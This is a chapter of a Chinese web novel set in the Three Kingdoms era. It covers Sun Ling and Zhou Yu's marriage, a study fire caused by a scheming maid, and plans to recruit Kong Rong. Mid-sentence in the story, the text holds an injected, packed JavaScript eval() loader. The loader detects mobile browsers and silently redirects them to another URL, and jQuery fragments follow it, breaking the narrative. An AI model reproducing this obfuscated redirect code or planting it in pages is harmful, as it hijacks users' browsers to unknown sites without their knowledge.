周瑜随之起身,神色复杂:“怎么了?”
“不是说好在我十八岁之前,我们不一起睡吗?”
孙灵脸上泛起红晕。在这个时代十六岁成婚很平常,但她是现代人,她这具身体还没成年。
周瑜深呼吸几次,沉默良久才道:“我睡地上。”
说完便起身取来被褥,在床边打了个地铺。不多时,他的呼吸变得均匀绵长。
孙灵确认周瑜睡着后,才安心入睡。睡在地上的周瑜却一夜未眠。
华佗参加完孙灵的生辰宴和婚宴后,收拾行囊继续云游行医。华佗此次前来,就是为了看看孙灵过得如何。他喜爱自由自在的生活,不喜欢被拘束于一处。孙灵对此也无可奈何。
此后,他依旧会时不时给孙灵写信报平安,让孙灵不必为他担忧。
按照惯例,周瑜作为中护军应当住在官署配给的府邸。
孙策特意破例,允许他们在吴侯府附近新建宅院。一方面,孙策认为官邸之前曾有他人居住,日后周瑜若再升迁,还需另寻居所,不如另辟新府更为妥当。
另一方面,中护军府邸距离吴侯府较远,孙灵若住在官邸,便难以时常回府看望家人。
如今新府就在家门口,即使孙灵已出嫁,也如同未出阁一般,随时可以回家看看。
周瑜的父母原本住在舒县祖宅。如今儿子在山阴县有了自己的府邸,周异夫妇便带着家仆搬了过来。
周异曾任洛阳令,董卓乱政时辞官归乡,如今在私塾教书育人,生活倒也清闲自在。
李夫人和周异都是看着孙灵长大的,对这个儿媳格外疼爱。孙灵的婚后生活十分顺遂。公婆不要求孙灵早晚请安奉茶,家中规矩也宽松。
周瑜更是对她爱护有加,事事顺着她。
这天傍晚,孙灵正在府中书房批阅文书。
这是间特别的双人书房,两张黑漆檀木书案并排放置,案上整齐堆放着竹简与帛书。
原本孙灵特意吩咐要准备两间书房,但不知为何最终变成了共用一间。此刻周瑜的那张书案空着。
孙灵专注地审阅着会稽郡送来的赋税账目,身旁的婢女绿绮轻手轻脚地奉上一杯热茶。
她随手接过抿了一口,滚烫的茶水猝不及防地灼痛舌尖。
“嘶——”
她急忙放下茶杯,茶水在案几上溅开几滴。
绿绮忙拿着手帕过来擦拭,却不小心碰倒了桌上的青铜烛台。
“哐当”一声,茶杯也被打翻,滚烫的茶水洒了一地。
烛火直接引燃了洒落的茶水。火苗“轰”地窜起,眨眼间就顺着孙灵的衣袖蔓延开来。
绿绮惊慌喊道:“走水了!”
孙灵凭借多年习武的敏捷反应,一把扯下着火的外袍扔在地上。
但火势异常迅猛,她的一缕长发已被燎得卷曲发黑,飘落在地上,散发出焦糊味。
守在门外的阿烈听到动静,提着水桶冲进来一泼。水火相激的白烟腾起,火被浇灭了。
孙灵并未受伤,案几上几份重要文书早已化为焦黑的残片,在湿漉漉的地面上冒着青烟。
而绿绮想帮忙扑灭火焰,在慌乱中将自己的手烫伤了一块。她白嫩的手背上浮现出一片触目惊心的红,烫伤的皮肤微微肿起,疼得她直吸冷气。
周瑜正在前厅议事,突然听到下人惊慌来报:“中护军大人,书房着火了!”
他脸色骤变,顾不得其他,立即大步奔向书房。一路上,他的心几乎要跳出胸膛。
孙灵还在书房里!
一进门,周瑜的目光锁定在孙灵身上。他几步上前,一把将她揽入怀中,双手急切地抚过她的脸庞、手臂,确认她是否受伤。直到发现她只是发梢被火燎焦了一截,身体并无大碍,他紧绷的肩膀才略微放松。
随即,一股后怕涌上心头,在他最放心的家里,竟差点让孙灵遭遇不测。他的手指无意识地收紧,将她搂得更紧了些。
“伤着没有?”
孙灵摇摇头,脸色还有些发白。她下意识往绿绮的方向瞥了一眼,眉头微蹙。火势怎么会蔓延得这么快?
顺着她的视线,周瑜这才注意到跪在地上的绿绮。
这时,青荷和翠莲匆匆赶来,惊慌失措地站在一旁。
阿烈是第一个冲进来救火的,当时书房里只有孙灵和绿绮两人,他此刻正死死盯着绿绮,眼中满是怀疑。
周瑜看向绿绮的眼神陡然沉了下来:“绿绮,怎么回事?”
绿绮瑟缩了一下,慢吞吞地抬起右手,露出被火灼伤的痕迹:“夫人的茶撒了,奴婢想去擦干,不小心……打翻了烛台。”
她哽咽着,梨花带雨地仰起脸,“周郎,奴婢被火烧伤了,好疼啊~”
声音百转千回,带着几分娇嗔。
这绿绮确实生得标致。柳叶眉下嵌着双会说话的眼睛,天生一幅我见犹怜的面容,细长的眉毛微微下垂,带着几分凄楚。
往日里只要她眼圈一红,府中侍卫仆役无不让着三分。此刻她泪盈于睫,更显楚楚可怜。
周瑜却不为所动,他的目光深不见底,透着一股寒气。
他一字一顿追问道:“到底是怎么回事?”
他的音调不轻不重,却让整个书房的空气都凝固了,让人不寒而栗。
平日里,周瑜对下人总是和颜悦色,轻易不会发怒。此时此刻他的态度让众人感到陌生。
绿绮脸色煞白,方才的娇弱之态荡然无存。她伏在地上瑟瑟发抖,连手上的伤都忘了喊疼。
孙灵适时开口:“下去吧,去领一瓶烧伤膏,每日早晚各涂一次,便不会留疤。”
她的声音平静,让绿绮如蒙大赦,连忙行礼退下。
周瑜眉头微蹙,终究没有阻拦。待绿绮退下,他立即对阿烈使了个眼色。阿烈会意,悄无声息地跟了出去。
孙灵早早沐浴完毕,坐在梳妆台前。青荷手持剪刀,小心翼翼地修剪着她被烧焦的发尾。
青荷专注地将左侧烧焦的头发剪至耳下,“这样两边对称就好看了。”
她的手艺不错,将孙灵一侧烧焦的头发修剪整齐,另一侧的头发也剪去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621712|172278||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相同的长度,巧妙地掩饰了痕迹。
看起来既自然又别致。
翠莲低声道:“查过了,茶盏里掺了酒,难怪火势那么猛。”
孙灵眉头微蹙:“我当时确实闻到了酒味,还以为是错觉。”
她摸了摸新剪的刘海,不解道:“可她为何要这么做?”
翠莲条理分明地分析:“绿绮是自幼服侍中护军大人的通房丫头,做事向来谨慎。直接放一杯滚烫的茶水在您手边,这很不合常理。”
“呸!”青荷一边收拾剪下的碎发,一边愤愤不平。
“她那点心思谁看不出来?整日里眼珠子滴溜溜地转。要我说,她就是存心想让夫人毁容!自己故意烫伤手,好洗脱嫌疑!”
孙灵沉默片刻,轻声问道:“她伤势如何?”
翠莲摇头:“中护军将她带走了,具体情况奴婢不知。”
“带走了?”孙灵心头莫名一紧。
这时门帘掀起,周瑜大步走了进来。青荷和翠莲立即行礼退下。
新剪的齐耳刘海衬得孙灵格外俏皮,周瑜伸手抚过她的脸颊,将碎发别到耳后:“这发型很衬你。”
孙灵握住他的手,垂眸问道:“绿绮……怎么样了?”
周瑜轻笑一声,将人整个搂进怀里。孙灵娇小的身躯完全被他笼罩,他执起她的手细细把玩。一根根抚过她的手指,从拇指到小指,反复摩挲。
“她不会再出现。”
数日后,府中关于绿绮的议论渐渐平息。下人们只隐约听说她被送出府去,许配给了城外一户庄户人家。
至于具体是哪户人家,又为何突然被遣出府,再无人敢多问一句。
自此,周瑜将身边所有贴身伺候的婢女都调去了外院。近身侍奉的换成了几个老成持重的家仆,连书房洒扫也都改用小厮。
除了母亲李夫人和孙灵外,再没有其他女子能够靠近周瑜三步之内。
转眼间,时间来到了197年。这一年,袁谭发起了对孔融所在北海郡的进攻。双方的战斗从春日持续到夏日,孔融的战士在连番的战斗中损失惨重,最终仅剩数百人。
城池被攻破后,孔融被迫逃往山东(太行山以东),而他的妻儿则不幸被袁谭俘虏。
消息传到江东,孙灵立即意识到这是个难得的机会。当时江东正在兴办小学和大学,急需一位德高望重的儒学大家主持教务。
孔融作为孔子二十世孙,曾任北海相时大兴文教,修建学堂,选拔贤才,在士林中声望极高。
如今他落难,正是招揽的最佳时机。
在政事会议上,孙灵向众人提议:“若能请孔文举先生来江东,必能大大提升我地文教。此时相助,正是雪中送炭。”
孙策沉吟:“天下仰慕孔先生才学者众多,我们凭什么能请动他?”
周瑜献策道:“可先从袁谭处赎回其妻女。孔先生见江东宜居,又有家眷在此,自然会留下。”
“那派谁去合适?”孙灵问道。
太史慈出列请命:“末将曾与孔先生有旧,愿往。”